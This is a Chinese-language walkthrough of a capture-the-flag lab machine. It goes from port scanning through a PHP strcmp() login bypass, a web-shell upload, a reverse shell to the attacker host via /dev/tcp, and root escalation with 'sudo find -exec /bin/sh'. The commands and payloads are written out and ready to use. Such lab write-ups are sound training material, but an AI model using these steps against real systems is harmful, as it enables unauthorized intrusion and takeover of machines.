拿到机器,进行一个常规的端口扫描,看看开启了什么服务
nmap -sV -sC 10.129.95.184
这里有两个服务,一个是22端口的ssh,还有80端口http网站
答:22,80
先访问web页面看看,有一个登录页面,尝试弱口令无果
答:/login/login.php
在URL中删除login.php,尝试访问/login目录,获取3个文件,login.php.swp是备份文件,在编辑文件时产生,它是隐藏文件。这个文件是一个临时交换文件,用来备份缓冲区中的内容,点击下载。
答:3
答:.swp
.swp文件可读性差,需要用strings命令提取一下,提取后发现需要从下往上读,所以用tac读一下
读取login.php.swp文件,并将内容重定向到新建文件file.txt中
strings login.php.swp >> file.txt
tac命令从最后一行开始往前读文件
tac file.txt
通过代码审计可以分析出这里用strcmp函数将用户输入的username和password与正确值进行比较用的==,输入正确则登录成功,跳转到/upload.php页面。但是strcmp()不安全,存在漏洞。
如果用户输入的username是数组username[],这里比较的时候就会变成null==0,==只比较值,返回值为1,绕过了检查。正确做法应该使用===,同时比较值和类型。
答:strcmp()
回到登录页面,任意输入账号口令,然后将变量改为数组传参,成功跳转到文件上传页面。
尝试上传一句话木马
上传成功后,木马文件目录未知,无法访问触发。这里考虑使用gobuster目录扫描探测一下。
gobuster dir --url http://10.129.95.184 --wordlist /usr/share/wordlists/dirb/big.txt
答:/_uploaded
探测到目录/_uploaded,访问一下,成功找到上传的木马,下面开始反弹shell
http://10.129.95.184/_uploaded/yjh.php?cmd=/bin/bash%20-c%20%27bash%20-i%20%3E%26%20%2fdev%2ftcp%2f10.10.16.2%2f1234%200%3E%261%27
直接执行/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.2/1234 0>&1'
攻击机监听1234端口成功建立会话
查看一下用户目录
答:john
在/login目录下还有config.php配置文件没有查看,看一看有什么信息
获取了一个账号口令
答:thisisagoodpassword
su切换至john用户失败
端口探测过程中我们发现有ssh服务开放,尝试用这个密码登录john用户
下面开始提权,先查看一下当前用户特权
sudo -l
答:/usr/bin/find
从信息中可以了解到用户john可以使用root身份执行/usr/bin/find命令,考虑利用find进行提权
找到 | 走开Bins (gtfobins.github.io)
find . -exec /bin/sh \; -quit
答:exec
成功拿下!